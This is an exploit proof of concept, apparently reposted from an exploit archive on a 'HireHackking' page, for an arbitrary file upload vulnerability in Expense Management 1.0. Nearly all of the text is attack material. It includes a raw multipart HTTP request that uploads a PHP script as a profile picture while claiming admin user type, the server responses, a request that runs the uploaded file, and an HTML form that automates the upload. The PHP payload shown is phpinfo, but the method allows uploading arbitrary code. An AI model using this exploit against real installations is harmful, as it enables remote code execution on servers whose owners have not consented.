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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Expense Management 1.0 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-10-30
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.webprojectbuilder.com/item/expense-management
# Software Link: https://kent.dl.sourceforge.net/project/expense-management/php_ci-expense_manager-script-1.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/user/add_edit
# 
# http://localhost/[PATH]/assets/images/[FILE]
# 
POST /[PATH]/user/add_edit HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=upb6pa4qn0h16clnht4ugvhee1
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
---------------------------187769406514267903921739782647
Content-Length: 743
-----------------------------187769406514267903921739782647
Content-Disposition: form-data; name="profile_pic"; filename="phpinfo.php"
Content-Type: application/force-download
<?php
phpinfo();
?>
-----------------------------187769406514267903921739782647
Content-Disposition: form-data; name="fileOld"
g_1540845821.php
-----------------------------187769406514267903921739782647
Content-Disposition: form-data; name="users_id"
1
-----------------------------187769406514267903921739782647
Content-Disposition: form-data; name="user_type"
admin
-----------------------------187769406514267903921739782647
Content-Disposition: form-data; name="submit1"
-----------------------------187769406514267903921739782647--
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 20:50:40 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: ci_session=453324a77afd51a1fd2618b57d3dfd6c880da056; expires=Mon, 29-Oct-2018 22:50:40 GMT; Max-Age=7200; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
refresh: 0;url=http://localhost/[PATH]/user/login
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET /[PATH]/assets/images/phpinfo_1540846240.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=upb6pa4qn0h16clnht4ugvhee1; ci_session=453324a77afd51a1fd2618b57d3dfd6c880da056
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 20:51:11 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/user/add_edit
# 
<html>
<body>
<form method="post" enctype="multipart/form-data" action="http://localhost/[PATH]/user/add_edit">
<input id="fileUpload" name="profile_pic" type="file"><br>
<input name="fileOld" value="" type="hidden">
<input name="users_id" value="1" type="hidden">
<input name="user_type" value="admin" type="hidden">
<button name="submit1" type="submit" ">Ver Ayari</button>  
</form>
</body>
</html>